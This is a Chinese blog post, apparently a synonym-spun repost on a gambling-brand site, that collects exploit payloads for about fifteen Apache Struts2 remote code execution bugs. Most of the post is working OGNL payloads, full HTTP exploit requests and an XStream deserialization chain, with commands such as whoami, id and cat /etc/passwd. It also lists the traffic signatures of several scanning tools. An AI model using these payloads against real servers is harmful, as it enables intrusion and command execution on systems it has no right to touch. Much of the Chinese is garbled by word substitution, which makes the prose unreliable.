Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

申博_安全预警 申博 258次浏览 已收录 0个评论

从零开始java代码审计系列(二)

Spring jndi注入 什么是JNDI JNDI的功能简单说就是可以简单的方式去查找某种资源。 JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层。比如在Tomcat中配置了一

媒介

让抓struts2汗青破绽流量,之前没研讨过,整好差缺补漏,就来复现一下,还把网上经常运用的工具的流量也给抓了,剖析工具流量特性,好比 天融信的,Struts2-Scan,安恒的,K8的.也纪录一下payload

在Struts中应用OGNL的简短汗青
OGNL机制研讨

复现状况是 vulhub 和vulapps
大多都参考 师傅们给的复现状况的ReadMe

总结:以为此次复现的有点含混,因为从来没研讨过struts,但照样搞下来了,大抵的道理邃晓了,但还差调试,我打算在剖析payload的时刻跟一下看一看.
调试了S2-016 和045了 写了申报

工具

我以为最好用的就是HatBoy师傅写的这个
Struts2-Scan

像天融信的工具 一直是cookie在第一行 还老是tdwefewwe
默许的cookie 可以或许修正
Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36
request header 一直是 Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

K8 就老是Accept 在第一行
没有COOKIE
Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

安恒的工具 UA 一直是 User-Agent: Auto Spider 1.0 还总有一个x
Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

依据小我喜欢 选工具吧

s2-057 CVE-2018-11776

影响版本:

小于即是 Struts 2.3.34 与 Struts 2.5.16

破绽缘由:

当Struts2的设置装备摆设知足以下前提时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或运用了通配符
    namespace将由用户从uri传入,并作为OGNL表达式盘算,终究形成恣意敕令实行破绽。

http://127.0.0.1:8080/${1+1}/actionChain1.action
===>
http://127.0.0.1:8080/2/register2.action

POC

回显是url

2.3.34版本 RCE :white_check_mark:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

urlencode===>

%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

2.3.34版本RCE payload :white_check_mark:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}/actionChain1.action

urlencode==>

/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

2.5.16版本 弹盘算器 可以或许状况没配对 :x:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}/actionChain1.action

2.3.34版本弹盘算器payload :x: 失利 2.5.16也失利

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("woami"))}/actionChain1.action

2.3.20版本弹盘算器 没状况

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}/index.action

2.3.20版本RCE payload 没状况

${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}

工具 RCE payload :x:

%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d

s2-053 CVE-2017-12611

影响版本

Struts 2.0.1 – Struts 2.3.33, Struts 2.5 – Struts 2.5.10

破绽成因

Struts2在运用Freemarker模板引擎的时刻,同时许可剖析OGNL表达式。致使用户输入的数据自身不会被OGNL剖析,但因为被Freemarker剖析一次后酿成脱离一个表达式,被OGNL剖析第二次,致使恣意敕令实行破绽。

回显页面输出
RCE payload :white_check_mark:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

末了一个换行一定要带上
有GET,也有POST

s2-052 CVE-2017-9805

影响版本

Struts 2.1.2 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12

破绽成因

Struts2-Rest-Plugin是让Struts2可以或许完成Restful API的一个插件,其依据Content-Type或URI扩展名来推断用户传入的数据包范例,有以下映照表:

扩展名 Content-Type 剖析要领
xml application/xml xstream
json application/json jsonlib或jackson(可选)
xhtml application/xhtml+xml
application/x-www-form-urlencoded
multipart/form-data

jsonlib没法引入恣意工具,而xstream在默许状况下是可以或许引入恣意工具的(针对1.5.x之前的版本),要领就是直接经由过程xml的tag name指定须要实例化的类名:

<classname></classname>
//或许
<paramname class="classname"></paramname>

以是,我们可以或许经由过程反序列化引入恣意类形成长途敕令实行破绽,只须要找到一个在Struts2库中实用的gedgetType。

总得来说,用了Struts2-Rest-Plugin插件,这个插件是依据Content-Type或许扩展名来挑选剖析要领,xstream在默许状况下是可以或许引入恣意工具的,以是他在处置惩罚xml的时刻会发作RCE(xstream处置惩罚xml数据时,未对数据做任何过滤,在反序列化将xml数据转换成object时致使的RCE)。应用起来就是改Content-Type或扩展名 .xml application/xml 发歹意xml

POC

没回显 Response 500 但敕令实行

POST /orders/3 HTTP/1.1
Host: 10.17.14.18:8081
Content-Length: 1655
Cache-Control: max-age=0
Origin: http://10.17.14.18:8081
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.17.14.18:8081/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Cookie: JSESSIONID=249144A9BEB141072470A76C2A61D663
Connection: close

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

接见ip:port 直接到/orders 你可以或许直接change method 然后加上body 改Content-type 为xml Response status code 500 实行胜利了(不要疑心 我也疑心 厥后看了一下文件 是真的)

也可以或许编纂以后生存 会有一个POST /orders/5 或许其他数字 有body的 改掉body 改Content-type 为xml 也可以或许实行

编纂完以后还会有一个/orders.xhtml?statusCode=303 change method 删掉body 改Content-type 为xml 文件名就不消改了 否则404了

payload天生
下载 https://github.com/mbechler/marshalsec
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO wget www.baidu.com -O /tmp/1.html >1.txt
注:针对XStream支撑很多种Payload,找一个Struts2也支撑的便可,须要找到Struts2库中实用的gedget(事实上我找了,都试了,只要ImageIO好使,文章的都是哄人了,哭了)

s2-048 CVE-2017-9791

影响版本

2.3.x

破绽成因

当实用了Struts2 Struts1 插件时,可以或许致使不受信托的输入传入到ActionMessage类种致使敕令实行

POC

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

回显 在一般页面里

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

burp里改 浏览器里填就500
光有回显

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

s2-046 CVE-2017-5638

影响版本

2.3.5-2.3.31 2.5.0-2.5.10

破绽成因

运用Jakarta插件,顺序没有正确处置惩罚文件上传,经由过程组织HTTP要求头中的Content-type形成RCE

罕见接见途径

/struts2-showcase/fileupload/doUpload.action
/doUpload.action
/

POST / HTTP/1.1
Host: 192.168.95.128:8080
Content-Length: 549
Cache-Control: max-age=0
Origin: http://192.168.95.128:8080
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6WkqMfQ5bSxtxX4X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.95.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Connection: close

------WebKitFormBoundary6WkqMfQ5bSxtxX4X
Content-Disposition: form-data; name="upload"; filename="Content-Disposition: form-data; name="image1"; filename="%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}b"
Content-Type: text/plain


------WebKitFormBoundary6WkqMfQ5bSxtxX4X

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

抓流量 抓到一个 出web目次的 背面本身加\x00b

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}

跟s2-048 payload是一样的 只要回显 很多都是通用的

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

还可以或许找到doUpload.action 然后真提交文件 阻拦包 把filename 改了 要加\x00b

s2-046 迥殊多的工具都可以或许用。。抓流量剖析流量 剖析出来几个功用payload

安恒工具 敕令实行 payload

POST / HTTP/1.1
Host:192.168.95.128:8080
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 874
Content-Type: multipart/form-data; boundary=---------------------------7e116d19044c

-----------------------------7e116d19044c
Content-Disposition: form-data; name="test"; filename="%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}.b"
Content-Type: text/plain

x
-----------------------------7e116d19044c--

s2-045 CVE-2017-5638

破绽版本

2.3.31-2.3.5 2.5-2.5.10
和046类似,只是进击字段发作变化 045是Content-Type 046是filname

s2-037 CVE-2016-4438

破绽版本

Struts 2.3.20 – Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

破绽成因

和S2-033一样也是关于rest插件致使method变量被改动形成的长途代码实行破绽,这个破绽和之前S2-033是一个处所,都是在DefaultActionInvocation.java的invokeAction要领中没有关于methodName参数内容举行校验,便直接丢到了getValue要领内里,从而形成Ongl表达式的注入。

poc

光有回显

/orders/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami

s2-033

影响版本

Struts 2.3.20 – Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

POC

有回显版本

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=whoami

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

光有回显

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

没回显

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success

s2-032

影响版本

Struts 2.3.20 – Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

须要开启动态要领挪用

运用?method:execute的体式格局挪用execute要领(execute要领是struts2中默许的action挪用要领),在method:背面加上我们要实行的ognl表达式便可实行恣意代码了

光有回显 poc

http://127.0.0.1/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
/memoindex.action?method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=whoami&dd=%20&d=____A&encoding=UTF-8

s2-019

影响版本

Struts 2.0.0 – Struts 2.3.15.1

破绽成因

<constant name="struts.devMode" value="true" />

POC

/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27ipconfig%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%20%23d.read%28%23e%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%20%2C%20%23d.read%28%23e%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%20%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29
/example/HelloWorld.action?debug=command&expression=%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%22whoami%22).getInputStream())),%23resp.getWriter().flush(),%23resp.getWriter().close()

s2-016

影响版本

Struts2.0.0 – Struts2.3.15

破绽成因

DefaultActionMapper类支撑以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,然则这些前缀背面同时可以或许跟OGNL表达式,因为struts2没有对这些前缀做过滤,致使应用OGNL表达式挪用java静态要领实行恣意体系敕令

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

s2-015

影响版本

2.0.0 – 2.3.14.2

破绽成因

基于通配符界说的行动映照,若是一个要求跟任何其他界说的操纵不婚配,他将会婚配*,而且要求的同操纵称号的jsp文件

http://192.168.95.128:8080/example/HelloWorld.action
==>改成
http://192.168.95.128:8080/example/%25%7B1%2B1%7D.action

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

POC

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

s2-013

影响版本

Struts 2.0.0 – Struts 2.3.14

破绽成因

struts 的标签中 s:a 和 s:url 都有一个 includeParams 属性
none – URL中不包罗任何参数(默许)
get – 仅包罗URL中的GET参数
all – 在URL中包罗GET和POST参数
当includeParams=all的时刻,会将本次要求的GET和POST参数都放在URL的GET参数上。
明显可以或许urldecode一下就晓得params是啥了,但struts给OGNL剖析了,就形成了恣意代码实行

POC 就这2种poc

第一个光有回显

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

s2-012

影响版本:

2.1.0 – 2.3.13

破绽成因

若是在设置装备摆设 Action 中 Result 时运用了重定向范例,而且还运用 ${param_name} 作为重定向变量,比方:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中界说有一个 name 变量,当触发 redirect 范例返回时,Struts2 猎取运用 ${name} 猎取其值,在这个过程当中会对 name 参数的值实行 OGNL 表达式剖析,从而可以或许插进去恣意 OGNL 表达式致使敕令实行。

POC

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-009

影响版本

2.1.0 – 2.3.1.1

破绽成因

这个破绽跟s2-003 s2-005 属于一套的。
Struts2对s2-003的修复要领是制止#号,因而s2-005经由过程运用编码\u0023\43来绕过;因而Struts2对s2-005的修复要领是制止\等特别符号,运用户不克不及提交反斜线。
然则,若是以后action中接受了某个参数example,这个参数将进入OGNL的上下文。以是,我们可以或许将OGNL表达式放在example参数中,然后运用/HelloWorld.acton?example=<OGNL statement>&(example)('xxx')=1的要领来实行它,从而绕过官方对#\等特别字符的防备。

没回显

/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

有回显

